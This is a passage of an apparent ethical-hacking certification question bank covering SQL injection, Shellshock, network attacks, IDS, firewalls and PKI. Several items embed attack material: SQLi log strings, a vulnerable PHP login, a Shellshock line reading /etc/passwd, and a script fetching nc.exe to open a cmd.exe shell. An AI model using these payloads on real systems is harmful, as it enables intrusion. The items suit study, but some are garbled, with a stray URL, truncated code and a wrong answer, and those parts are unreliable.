D. SQLInjector

286. What is attempting an injection attack on a web server based on responses to True/False questions called?
A. Compound SQLi
B. DMS-specific SQLi
C. Classic SQLi
D. Blind SQLi

287. What is the main difference between a “Normal” SQL Injection and a “Blind” SQL Injection vulnerability?
A. The request to the web server is not visible to the administrator of the vulnerable application.
B. The attack is called “Blind” because, although the application properly filters user input, it is still vulnerable to code injection.
C. The successful attack does not show an error message to the administrator of the affected application.
D. The vulnerable application does not display errors with information about the injection results to the attacker.

288. A security administrator notices that the log file of the company's webserver contains suspicious entries:

\[20/Mar/2011:10:49:07\] "GET /login.php?user=test'+oR+3>2%20-- HTTP/1.1" 200 9958
\[20/Mar/2011:10:51:02\] "GET /login.php?user=admin';%20-- HTTP/1.1" 200 9978

The administrator decides to further investigate and analyze the source code of login.php file:

```
php
include('../../config/db_connect.php');
$user = $_GET['user'];
$pass = $_GET['pass'];
$sql = "SELECT * FROM USERS WHERE username = '$user' AND password = '$pass'";
$result = mysql_query($sql) or die ("couldn't execute query");

if (mysql_num_rows($result) != 0 ) echo 'Authentication granted!';
else echo 'Authentication failed!';
?>
```

Based on source code analysis, the analyst concludes that the login.php script is vulnerable to
A. command injection.
B. SQL injection.
C. directory traversal.
D. LDAP injection.

289. If an attacker uses the command SELECT FROM user WHERE name = 'x' AND userid IS NULL; –'; which type of SQL injection attack is the attacker performing
A. Tautology (Use OR operator so that query always TRUE)
B. Piggy-backed (Input additional queries to original, first query is valid and the subsequent are injected queries)
C. Union (Returns a dataset that is union of the result of original query and injected queries)

290. You are attempting to man-in-the-middle a session. Which protocol will allow you to guess a sequence number?
A. TCP
B. UPD
C. ICMP
D. UPX

291. An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?
A. Only using OSPFv3 will mitigate this risk.
B. Make sure that legitimate network routers are configured to run routing protocols with authentication.
C. Redirection of the traffic cannot happen unless the admin allows it explicitly.
D. Disable all routing protocols and only use static routes.

292. An attacker, using a rogue wireless AP, performed an MITM attack and injected an HTML code to embed a malicious applet in all HTTP connections. When users accessed any page, the applet ran and exploited many machines. Which one of the following tools the hacker probably used to inject HTML code?
Ans: Ettercap (putting network interface to promiscuous mode, ARP poisoning target machines)

293. Which of the following is an example of IP spoofing?
A. SQL injections
B. Man-in-the-middle
C. Cross-site scripting
D. ARP poisoning

294. Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?
A. Nikto
B. Snort
C. John the Ripper
D. Dsniff

295. Why should the security analyst disable/remove unnecessary ISAPI filters?
To defend against webserver attacks
To defend against social engineering attacks
To defend against wireless attacks
To defend against jailbreaking

296. How does an operating system protect the passwords used for account logins?
A. The operating system performs a one-way hash of the passwords.
B. The operating system stores the passwords in a secret file that users cannot find.
C. The operating system encrypts the passwords, and decrypts them when needed.
D. The operating system stores all passwords in a protected segment of non-volatile memory.

297. Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?
A. Port scanning
B. Banner grabbing
C. Injecting arbitrary data
D. Analyzing service response

298. Which tool can be used to silently copy files from USB devices?
A. USB Grabber
B. USB Dumper
C. USB Sniffer
D. USB Snoopy

299. Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?
A. Cross-site scripting
B. SQL injection
C. Missing patches
D. CRLF injection

300. At a Windows Server command prompt, which command could be used to list the running services?
A. Sc query type= running
B. Sc query \\\\servername
C. Sc query
D. Sc config

301. What is the most common method to exploit the "Bash Bug" or "ShellShock" vulnerability?
A. SSH
B. SYN Flood
C. Through web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server
D. Manipulate format strings in text fields

302. env x=`(){ :;};echo exploit` bash -c 'cat /etc/passwd'
What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?
Display passwd content to prompt
Changes all passwords in passwd
Removes the passwd file
Add new user to the passwd file

303. Shellshock had the potential for an unauthorized user to gain access to a server. It affected many internet facing services, which OS did it not directly affect?
A. Windows
B. Unix
C. Linux
D. OS X

304. Which of the following is a vulnerability in GNU's bash shell (discovered in September of 2014) that gives attackers access to run remote commands on a vulnerable system? The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and scan for other vulnerable devices (including routers).
A. Shellshock
B. Rootshell
C. Rootshock
D. Shellbash

305. How can telnet be used to fingerprint a web server?
A. telnet webserverAddress 80
HEAD / HTTP/1.0
B. telnet webserverAddress 80
PUT / HTTP/1.0
C. telnet webserverAddress 80

HEAD / HTTP/2.0
D. telnet webserverAddress 80
PUT / HTTP/2.0

306. invictus@victim_server:~$ nmap -T4 -0 10.10.0.0/24
TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx. QUITTING!
Obviously, it is not going through. What is the issue here?
A. OS Scan requires root privileges
B. The nmap syntax is wrong.
C. The outgoing TCP/IP fingerprinting is blocked by the host firewall
D. This is a common behavior for a corrupted nmap application

307. What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?
A. Passive
B. Distributive
C. Reflective
D. Active

308. Which of the following types of jailbreaking allows user-level access but does not allow iboot-level access
Ans: userland exploit

309. An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?
A. Classified
B. Overt
C. Encrypted
D. Covert

310. One way to defeat a multi-level security solution is to leak data via
A. a bypass regulator.
B. steganography.
C. a covert channel.
D. asymmetric routing.

311. A covert channel is a channel that
A. transfers information over, within a computer system, or network that is outside of the security policy.
B. transfers information over, within a computer system, or network that is within the security policy.
C. transfers information via a communication path within a computer system, or network for transfer of data.
D. transfers information over, within a computer system, or network that is encrypted.

312. An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?
A. The wireless card was not turned on.
B. The wrong network card drivers were in use by Wireshark.
C. On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
D. Certain operating systems and adapters do not collect the management or control packets.

313. A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:
system("perl msadc.pl -h $host -C \\"echo open $your >testfile\\"");
system("perl msadc.pl -h $host -C \\"echo $user>>testfile\\"");
system("perl msadc.pl -h $host -C \\"echo $pass>>testfile\\"");
system("perl msadc.pl -h $host -C \\"echo bin>>testfile\\"");
system("perl msadc.pl -h $host -C \\"echo get nc.exe>>testfile
system("perl msadc.pl -h $host -C \\"echo get hacked.html>>testfile
("perl msadc.pl -h $host -C \\"echo quit>>testfile\\"");
system("perl msadc.pl -h $host -C \\"ftp \\-s\\:testfile\\"");
$o=; print "Opening …\\n";
system("perl msadc.pl -h $host -C \\"nc -l -p $port -e cmd.exe\\"");
Which exploit is indicated by this script?

A. A buffer overflow exploit
B. A chained exploit
C. A SQL injection exploit

D. A denial of service exploit

314. How can a rootkit bypass Windows 7 operating system's kernel mode, code signing policy?
A. Defeating the scanner from detecting any code change at the kernel
B. Replacing patch system calls with its own version that hides the rootkit (attacker's) actions
C. Performing common services for the application process and replacing real applications with fake ones
D. Attaching itself to the master boot record in a hard drive and changing the machine's boot sequence/options

315. What mechanism in Windows prevents a user from accidentally executing a potentially malicious batch (.bat) or PowerShell (.ps1) script?
A. User Access Control (UAC)
B. Data Execution Prevention (DEP)
C. Address Space Layout Randomization (ASLR)
D. Windows firewall

316. A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named ""nc."" The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server's software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port.

What kind of vulnerability must be present to make this remote attack possible?
File system permissions
Privilege escalation
Brute force login
Directory traversal

317. An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?
He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.
He will repeat the same attack against all L2 switches of the network.
He will activate OSPF on the spoofed root bridge.
He will repeat this action so that it escalates to a DoS attack.

318. It is a widely used standard for message logging. It permits separation of the software that generates messages, the system that stores them, and the software that reports and analyzes them. This protocol is specifically designed for transporting event messages. Which of the following is being described?
A. SNMP
B. ICMP
C. SYSLOG
D. SMS

319. Which among the following is a Windows command that a hacker can use to list all the shares to which the current user context has access?
A. NET FILE
B. NET USE
C. NET CONFIG
D. NET VIEW

320. Which system consists of a publicly available set of databases that contain domain name registration contact information?
A. CAPTCHA
B. IETF
C. WHOIS
D. IANA

321. During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network. What is this type of DNS configuration commonly called?
A. Split DNS
B. DNSSEC
C. DynDNS
D. DNS Scheme

322. A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?
A. Locate type=ns

B. Request type=ns
C. Set type=ns
D. Transfer type=ns

323. _____ Is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.
DNSSEC
Resource records
Zone transfer
Resource transfer

324. Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they were victims of DNS Cache Poisoning. What should Bob recommend to deal with such a threat
The use of DNSSEC
Client awareness
The use of double-factor authentication
The use of security agents in clients computers

325. What is the purpose of a demilitarized zone on a network
To provide a place to put the honeypot
To only provide direct access to the nodes within the DMZ and protect the network behind it
To scan all traffic coming through the DMZ to the internal network
To contain the network devices you wish to protect

326. Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers ports, which can have direct internet access, and block the access to workstations. Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.
In this context, what can you say
A. Bob can be right since DMZ does not make sense when combined with stateless firewalls.
B. Bob is totally wrong. DMZ is always relevant when the company has internet servers and workstations.
C. Bob is partially right. DMZ does not make sense when a stateless firewall is available.
D. Bob is partially right. He does not need to separate networks if he can create rules by destination IPs, one by one.

327. A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:
Untrust (Internet) – (Remote network = 217.77.88.0/24)
DMZ (DMZ) – (11.12.13.0/24)
Trust (Intranet) – (192.168.0.0/24)
The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ. Which rule would best fit this requirement?
A. Permit 217.77.88.0/24 11.12.13.0/24 RDP 3389
B. Permit 217.77.88.12 11.12.13.50 RDP 3389
C. Permit 217.77.88.12 11.12.13.0/24 RDP 3389
D. Permit 217.77.88.0/24 11.12.13.50 RDP 3389

328. A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server.
Based on this information, what should be one of your key recommendations to the bank?
Place a front-end web server in a demilitarized zone that only handles external web traffic
Require all employees to change their anti-virus program with a new one.
Issue new certificates to the web servers from the root certificate authority
Move the financial data to another server on the same IP subnet

329. In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. What is the difference between pharming and phishing attacks?
A. Both pharming and phishing attacks are purely technical and are not considered forms of social engineering
B. In a pharming attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name
C. Both pharming and phishing attacks are identical
D. In a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name

330. An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to http://www.MyPersonalBank.com (http://www.MyPersonalBank.com), the user is directed to a phishing site.
Which file does the attacker need to modify
Hosts
Boot.ini
Sudoers
Networks
331. A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?
A. SSL
B. Mutual authentication
C. IPSec
D. Static IP addresses

332. When security and confidentiality of data within the same LAN is of utmost priority, which IPSec mode should you implement?
A. AH Tunnel mode
B. AH promiscuous
C. ESP transport mode
D. ESP confidential

333. Which component of IPsec performs protocol-level functions that are required to encrypt and decrypt the packets?
Ans: Internet Key Exchange (IKE)

334. Internet Protocol Security IPSec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPSec does everything except.
A. Protect the payload and the headers
B. Authenticate
C. Encrypt
D. Work at the Data Link Layer

335. Which protocol is used for setting up secured channels between two devices, typically in VPNs?
A. IPSEC
B. PEM
C. SET
D. PPP

336. The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and
A. non-repudiation.
B. operability.
C. security.
D. usability.

337. In IPv6 what is the major difference concerning application layer vulnerabilities compared to IPv4?
Vulnerabilities in the application layer are independent of the network layer. Attacks and mitigation techniques are almost identical.
Implementing IPv4 security in a dual-stack network offers protection from IPv6 atttacks too.
Vulnerabilities in the application layer are greatly different from IPv4
Due to the extensive security measures built in IPv6, application layer vulnerabilities need not be addressed

338. Which of these is capable of search for and locating rogue access points?
HIDS
WIPS
NIDS
WISS

339. Supposed you are the Chief Network Engineer of a certain Telco. Your company is planning for a big business expansion and it requires that your network authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relaynetwork. Which AAA protocol would you implement?
A. TACACS+
B. DIAMETER
C. Kerberos
D. RADIUS

340. Which of the following security policies defines the use of VPN for gaining access to an internal corporate network?
A. Network security policy
B. Remote access policy
C. Information protection policy
D. Access control policy

341. A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed. Which security policy must the security analyst check to see if dial-out modems are allowed?
A. Acceptable-use policy
B. Firewall-management policy
C. Remote-access policy
D. Permissive policy

342. Which tool would be used to collect wireless packet data?
A. NetStumbler
B. John the Ripper
C. Nessus
D. Netcat

343. Smart cards use which protocol to transfer the certificate in a secure manner?
A. Extensible Authentication Protocol (EAP)
B. Point to Point Protocol (PPP)
C. Point to Point Tunneling Protocol (PPTP)
D. Layer 2 Tunneling Protocol (L2TP)

344. In order to have an anonymous Internet surf, which of the following is best choice?
Use Tor network with multi-node (connect virtual tunnels, not direct connection)
Use SSL sites when entering personal information
Use shared WiFi
Use public VPN

345. Bluetooth uses which digital modulation technique to exchange information between paired devices?
A. PSK (phase-shift keying)
B. FSK (frequency-shift keying)
C. ASK (amplitude-shift keying)
D. QAM (quadrature amplitude modulation)

346. Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient's consent, similar to email spamming
Bluejacking

347. The following are types of Bluetooth attack EXCEPT_____?
A. Bluejacking (sends spam in the form of text messages to the devices)
B. Bluebugging (complete takeover of a phone)
C. Bluesnarfing (leave open some of the private information, unlikely to happen)
D. Bluedriving (Wardriving, lookup services)

348. It is a short-range wireless communication technology that allows mobile phones, computers and other devices to connect and communicate. This technology intends to replace cables connecting portable devices with high regards to security.
A. Bluetooth
B. Radio-Frequency Identification
C. WLAN
D. InfraRed

349. Which of the following is a wireless network detector that is commonly found on Linux?
A. Kismet
B. Abel
C. Netstumbler
D. Nessus

350. Which of the following is a passive wireless packet analyzer that works on Linux-based systems?
A. Burp Suite
B. OpenVAS
C. tshark
D. Kismet

351. Which of the following network attacks relies on sending an abnormally large packet size that exceeds TCP/IP specifications?
A. Ping of death
B. SYN flooding
C. TCP hijacking
D. Smurf attack

352. Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?
A. Teardrop
B. SYN flood
C. Smurf attack
D. Ping of death

353. A new wireless client that is 802.11 compliant cannot connect to a wireless network given that the client can see the network and it has compatible hardware and software installed. Upon further tests and investigation it was found out that the Wireless Access Point (WAP) was not responding to the association requests being sent by the wireless client. What MOST likely is the issue on this scenario?
A. The client cannot see the SSID of the wireless network
B. The WAP does not recognize the client's MAC address.
C. The wireless client is not configured to use DHCP.
D. Client is configured for the wrong channel

354. WPA2 uses AES for wireless data encryption at which of the following encryption levels?
A. 64 bit and CCMP
B. 128 bit and CRC
C. 128 bit and CCMP
D. 128 bit and TKIP

355. During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?
A. The tester must capture the WPA2 authentication handshake and then crack it.
B. The tester must use the tool inSSIDer to crack it using the ESSID of the network.
C. The tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.
D. The tester must change the MAC address of the wireless network card and then use the AirTraf tool to obtain the key.

356. Which of the following BEST describes how Address Resolution Protocol (ARP) works?
A. It sends a reply packet for a specific IP, asking for the MAC address
B. It sends a reply packet to all the network elements, asking for the MAC address from a specific IP
C. It sends a request packet to all the network elements, asking for the domain name from a specific IP
D. It sends a request packet to all the network elements, asking for the MAC address from a specific IP

357. You've just discovered a server that is currently active within the same network with the machine you recently compromised. You ping it but it did not respond. What could be the case?
A. TCP/IP doesn't support ICMP
B. ARP is disabled on the target server
C. ICMP could be disabled on the target server
D. You need to run the ping command with root privileges

358. …….. is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a
fraudulent web site and luring people there. Fill in the blank with appropriate choice.
A. Collision Attack
B. Evil Twin Attack
C. Sinkhole Attack
D. Signal Jamming Attack

359. This tool is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.
Which of the following tools is being described?
A. Aircrack-ng

B. Airguard
C. WLAN-crack
D. wificracker

360. Which type of antenna is used in wireless communication?
A. Omnidirectional
B. Parabolic
C. Uni-directional
D. Bi-directional

361. Which of the following antennas is commonly used in communications for a frequency band of 10 MHz to VHF and UHF
Ans: Yagi

362. In 2007, this wireless security algorithm was rendered useless by capturing packets and discovering the passkey in a matter of seconds. This security flaw led to a network invasion of TJ Maxx and data theft through a technique known as wardriving. Which algorithm is this referring to?
Wi-Fi Protected Access 2 (WPA2)
Wired Equivalent Privacy (WEP)
Wi-Fi Protected Access (WPA)
Temporal Key Integrity Protocol (TKIP)

363. A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?
The computer is not using a private IP address
The gateway and the computer are not on the same network
The computer is using an invalid IP address
The gateway is not routing to a public IP address

364. Which of the following descriptions is true about a static NAT?
A. A static NAT uses a many-to-many mapping.
B. A static NAT uses a one-to-many mapping.
C. A static NAT uses a many-to-one mapping.
D. A static NAT uses a one-to-one mapping.

365. A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?
A. Spoofing an IP address
B. Tunneling scan over SSH
C. Tunneling over high port numbers
D. Scanning using fragmented IP packets

366. DNS cache snooping is a process of determining if the specified resource address is present in the DNS cache records. It may be useful during the examination of the network to determine what software update resources are used, thus discovering what software is installed. What command is used to determine if the entry is present in DNS cache?
Ans: nslookup -norecursive update.antivirus.com

367. An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction http://www.google.com (http://www.google.com) to his own IP address. Now when the employees of the office wants to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?
DNS spoofing (corrupted DNS data is introduced in cache, returning incorrect IP)
Smurf Attack (DDoS, send large spoofed network packet directed towards victim IP)
ARP Poisoning (Send ARP packet to change pairings in its IP to MAC address table)
MAC Flooding (Flooding network switches with packets, to consume the limited)

368. From the following table, identify the wrong answer in terms of Range (ft).
Standard Range (ft)
802.11a 150-150
802.11b 150-150
802.11g 150-150
802.16 (WiMax) 30 miles

369. A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the Prometric Online Testing – Reports
https://ibt1.prometric.com/users/custom/report_queue/rq_str&#8230

(https://ibt1.prometric.com/users/custom/report_queue/rq_str&#8230); corporate network. What tool should the analyst use to perform a Blackjacking attack?
A. BBCrack
B. Paros Proxy
C. Blooover
D. BBProxy

370. What is a successful method for protecting a router from potential smurf attacks?
A. Placing the router in broadcast mode
B. Enabling port forwarding on the router
C. Installing the router outside of the network's firewall
D. Disabling the router from accepting broadcast ping messages

371. The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. Also he needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router nobody can access to the ftp and the permitted hosts cannot access to the Internet. According to the next configuration what is happening in the network?
access-list 102 deny tcp any any
access-list 104 permit udp host 10.0.0.3 any
access-list 110 permit tcp host 10.0.0.2 eq www any
access-list 108 permit tcp any eq ftp any
A. The ACL 110 needs to be changed to port 80
B. The ACL for FTP must be before the ACL 110
C. The first ACL is denying all TCP traffic and the other ACLs are being ignored by the router
D. The ACL 104 needs to be first because is UDP

372. A recent security audit revealed that there were indeed several occasions that the company's network was breached. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?
A. True Positive
B. False Negative
C. False Positive
D. False Positive

373. When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration. What type of an alert is this?
True positive
True negative
False positive
False negative

374. A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system. The alert was generated because a large number of packets were coming into the network over ports 20 and 21.
During analysis, there were no signs of attack on the FTP servers. How should the administrator classify this situation?
A. True negatives
B. False negatives
C. True positives
D. False positives

375. When tuning security alerts, what is the best approach?
Decrease False negatives
Decrease the false positives
Tune to avoid False positives and False Negatives
Rise False positives Rise False Negatives

376. Sam is working as a pen-tester in an organization in Houston. He performs penetration testing on IDS in order to find the different ways an attacker uses to evade the IDS. Sam sends a large amount of packets to the target IDS that generates alerts, which enable Sam to hide the real traffic. What type of method is Sam using to evade IDS?
Ans: False Positive Generation
377. Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?
A. Detective
B. Passive
C. Intuitive
D. Reactive

378. Which of the following options represents a conceptual characteristic of an anomaly-based IDS over a signature-based IDS?
Can identify unknown attacks

379. Which of the following does proper basic configuration of snort as a network intrusion detection system require?
A. Limit the packets captured to the snort configuration file.
B. Capture every packet on the network segment.
C. Limit the packets captured to a single segment.
D. Limit the packets captured to the /var/log/snort directory.

380. Which one of the following approaches is commonly used to automatically detect host intrusions?
Network traffic analysis
The host's network interface use
File checksums
System CPU utilization (anything that widely deviates from the norm)

381. Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?
A. Firewall
B. Honeypot
C. Core server
D. Layer 4 switch

382. To maintain compliance with regulatory requirements, a security audit of the systems on a network must be performed to determine their compliance with security policies. Which of the following tools would MOST LIKELY be used to perform security audit on various of forms of network systems?
A. Intrusion Detection System
B. Vulnerability scanner
C. Port scanner
D. Protocol analyzer

383. Bob finished a C programming course and created a small C application to monitor the network traffic and produce alerts when any origin sends many IP packets, based on the average number of packets sent by all origins and using some thresholds.
In concept, the solution developed by Bob is actually
A behavior-based IDS
A signature-based IDS
Just a network monitoring tool
A hybrid IDS

384. Which of the statements concerning proxy firewalls is correct?
A. Proxy firewalls increase the speed and functionality of a network.
B. Firewall proxy servers decentralize all activity for an application.
C. Proxy firewalls block network packets from passing to and from a protected network.
D. Computers establish a connection with a proxy firewall which initiates a new network connection for the client.

385. Which of the following types of firewall inspects only header information in network traffic?
A. Packet filter
B. Stateful inspection
C. Circuit-level gateway
D. Application-level gateway

386. Which statement is TRUE regarding network firewalls preventing Web Application attacks?
A. Network firewalls can prevent attacks because they can detect malicious HTTP traffic.
B. Network firewalls cannot prevent attacks because ports 80 and 443 must be opened.
C. Network firewalls can prevent attacks if they are properly configured.
D. Network firewalls cannot prevent attacks because they are too complex to configure.

387. A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?
A. Netsh firewall show config
B. WMIC firewall show config
C. Net firewall show config
D. Ipconfig firewall show config

388. A possibly malicious sequence of packets that were sent to a web server has been captured by an Intrusion Detection System (IDS) and was saved to a PCAP file. As a network administrator, you need to determine whether these packets are indeed malicious. What tool are you going to use to determine if these packets are genuinely malicious or simply a false positive?
A. Intrusion Prevention System (IPS)
B. Vulnerability scanner
C. Protocol analyzer
D. Network sniffer

389. Which type of access control is used on a router or firewall to limit network activity?
A. Mandatory
B. Discretionary
C. Rule-based
D. Role-based

390. Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra security and is ideal for observing sensitive network segments?
A. Network-based intrusion detection system (NIDS)
B. Host-based intrusion detection system (HIDS)
C. Firewalls
D. Honeypots

391. The security concept of "separation of duties" is most similar to the operation of which type of security device?
A. Firewall
B. Bastion host
C. Intrusion Detection System
D. Honeypot

392. A penetration test was done at a company. After the test, a report was written and given to the company's IT authorities. A section from the report is shown below:
• Access List should be written between VLANs.
• Port security should be enabled for the intranet.
• A security solution which filters data packets should be set between intranet (LAN) and DMZ.
• A WAF should be used in front of the web applications.

According to the section from the report, which of the following choice is true?
A stateful firewall can be used between intranet (LAN) and DMZ.
MAC Spoof attacks cannot be performed.
There is access control policy between VLANs.
Possibility of SQL Injection attack is eliminated.

393. Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for http://www.eccouncil.org (http://www.eccouncil.org) and receives an error message stating there is no response from the server. What should the administrator do next?
A. Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.
B. Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.
C. Configure the firewall to allow traffic on TCP port 53.
D. Configure the firewall to allow traffic on TCP port 8080.

394. Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?
A. Fast processor to help with network traffic analysis
B. They must be dual-homed
C. Similar RAM requirements
D. Fast network interface cards

395. Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired network to have Internet access. In the university campus, there are many Ethernet ports available for professors and authorized visitors but not for students. He identified this when the IDS alerted for malware activities in the network. What should Bob do to avoid this problem?
Ask students to use the wireless network
Use the 802.1x protocol
Separate students in a different VLAN
Disable unused ports in the switches
396. While conducting a penetration test, the tester determines that there is a firewall between the tester's machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type

of firewall is the tester trying to traverse?
A. Packet filtering firewall
B. Application-level firewall
C. Circuit-level gateway firewall
D. Stateful multilayer inspection firewall

397. A circuit level gateway works at which of the following layers of the OSI Model?
A. Layer 5 – Application
B. Layer 4 – TCP
C. Layer 3 – Internet protocol
D. Layer 2 – Data link

398. In the OSI model, where does PPTP encryption take place?
A. Transport layer
B. Application layer
C. Data link layer
D. Network layer

399. Which of the following types of firewalls ensures that the packets are part of the established session?
A. Stateful inspection firewall (distinguish legitimate packets for different connections)
B. Circuit-level firewall (monitor TCP handshaking)
C. Application-level firewall (controls input/output)
D. Switch-level firewall

400. You are the Systems Administrator for a large corporate organization. You need to monitor all network traffic on your local network for suspicious activities and receive notifications when an attack is occurring. Which tool would allow you to accomplish this goal?
A. Network-based IDS
B. Firewall
C. Proxy
D. Host-based IDS

401. An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.

What is the most likely cause?
The security breach was a false positive.
The attacker altered or erased events from the logs.
The network devices are not all synchronized.
Proper chain of custody was not observed while collecting the logs.
402. Which security control role does encryption meet?
A. Preventative
B. Detective
C. Offensive
D. Defensive

403. Which of the following is the successor of SSL?
A. TLS
B. RSA
C. GRE
D. IPSec

404. Advanced encryption standard is an algorithm used for which of the following?
A. Data integrity
B. Key discovery
C. Bulk data encryption
D. Key recovery

405. Which type of cryptography does SSL, IKE and PGP belongs to?
A. Secret Key
B. Hash Algorithm
C. Digest
D. Public Key

406. Which of the following is a symmetric cryptographic standard?
A. DSA
B. PKI
C. RSA
D. 3DES

407. Which of the following is designed to verify and authenticate individuals taking part in a data exchange within an enterprise?
A. SOA
B. Single-Sign On
C. PKI
D. Biometrics

408. Which of the following is a characteristic of Public Key Infrastructure (PKI)?
A. Public-key cryptosystems are faster than symmetric-key cryptosystems.
B. Public-key cryptosystems distribute public-keys within digital signatures.
C. Public-key cryptosystems do not require a secure key distribution channel.
D. Public-key cryptosystems do not provide technical non-repudiation via digital signatures.

409. Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?
A. RSA 1024 bit strength
B. AES 1024 bit strength
C. RSA 512 bit strength
D. AES 512 bit strength

410. Which service in a PKI will vouch for the identity of an individual or company?
A. KDC
B. CA
C. CR
D. CBC

411. Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?
A. The root CA is the recovery agent used to encrypt data when a user's certificate is lost.
B. The root CA stores the user's hash value for safekeeping.
C. The root CA is the trusted root that issues certificates.
D. The root CA is used to encrypt email messages to prevent unintended disclosure of data.

412. Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?
